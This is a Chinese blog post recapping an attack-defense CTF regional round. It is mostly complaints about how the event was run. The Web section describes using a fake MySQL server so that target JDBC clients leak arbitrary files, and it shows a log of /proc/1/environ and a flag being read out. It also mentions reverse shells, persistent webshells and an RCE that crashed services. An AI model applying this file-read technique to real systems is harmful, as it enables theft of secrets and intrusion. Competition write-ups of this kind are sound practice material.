2024 CISCN 华南赛区分区赛 赛后吐槽

前言

eb742ed5ad540ae89bf3d8c26dcbdc9.jpg
最后是第五名,只能说缺少绿盟根本不太可能进决赛,FW了,纯靠PWN✌。

吐槽

说实话办的不咋地,加固没有权限,浪费了一上午时间。中午十二点半刚开靶机就放开打了。因为权限的问题,没法修改PWN和Java的题目,就没让Check这两个,但是最后事实上三个服务的没有check。
而且据B神说,好像有的服务器,在两个端口开了两个服务。当时没注意,如果真是这样的话我只能呃呃了。
SSH一直在被人改,但是由于也没有修和check的环节,登上了也没有权限,所以意义不大。
在这里点名批评绿盟的交flagapi,cookie过期的太快了,后面都是手动交的flag。而且最后半个小时中的两轮都没有刷新flag。可能刷不刷新也没啥区别了。
但是由于没有php这些的权限,就导致WAF这些都没上了,但是似乎有的队还是开起来了。
而且刚Fix的阶段,就有人在一直往服务器里面写不死马,因为开了文件检测,能看到后台一直在删除。问裁判,比赛结束都没给个回应。而且打的Java,他们开的通防改的flag,举报了裁判这边也没有啥办法解决。
后面Pwn还不会批量打,靠PWN一个一个ip打,一个一个交吃的保底分混过的。

Web

php除了那个后门其余的没有审出来,后面因为权限只能修改不能删除。所以后面php文件都被删干净了。Java是初赛的题目,本来复现了,但是流程太麻烦了,不能一个一个反弹Shell(而且最开始服务器找不到机器IP,后面才可以),这种太耗时间了,于是就考虑用别的方法(而且似乎题目和初赛还不太一样,似乎改了一部分,有机会看看)。
想起来Java初赛的时候使用Fake Mysql可以实现任意文件读取。于是就开一个Fake Mysql服务,然后批量发包,在控制台就能看到回显。初赛的时候似乎是因为权限不够,没有权限读取flag。而复赛正好反过来了。

GitHub - fnmsd/MySQL_Fake_Server: MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize

配置的时候,修改config.json,修改默认读取文件。
然后Bp批量发包即可:
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
===========================================
MySQL Fake Server
Author:fnmsd(https://blog.csdn.net/fnmsd)
Load 7 Fileread usernames :[b'win_ini', b'win_hosts', b'win', b'linux_passwd', b'linux_hosts', b'index_php', b'ssrf']
Load 1 yso usernames :[b'Jdk7u21']
Load 2 Default Files :[b'/flag.txt', b'/proc/1/environ']
Start Server at port 3306
Incoming Connection:('172.16.75.54', 49222)
Login Username:
<= 3
Start Reading File:/proc/1/environ
reading file:/proc/1/environ
========File Conntent Preview=========
HOSTNAME=4205a45ad9ecSHLVL=1HOME=/rootTERM=xtermPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/appTZ=Asia/ShanghaiLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64
=======File Conntent Preview End==========
Save to File:./fileOutput//172.16.75.54___1717915636____proc_1_environ
Incoming Connection:('172.16.75.51', 52068)
Login Username:
<= 3
Start Reading File:/flag.txt
reading file:/flag.txt
========File Conntent Preview=========
flag{195cd1336ee22f4528bf18ec8c7563f6}

后面这个Java好像被RCE了,因为是root权限跑的Jar。所以能关掉环境PID为1的进程(这个Jar)。他们通过这种方法把场上所有队服务都挂了。最开始是很卡,后面服务器就崩了,应该就是类似Fork炸弹这种搅屎棍。

Pwn

战队师傅已经发过,具体可看:2024ciscn华南分赛区Pwn ,tql

后记

下次好好造轮子,怎么一到关键时候轮子就寄。后面找时间把PHP那个研究了,这几天忙死了。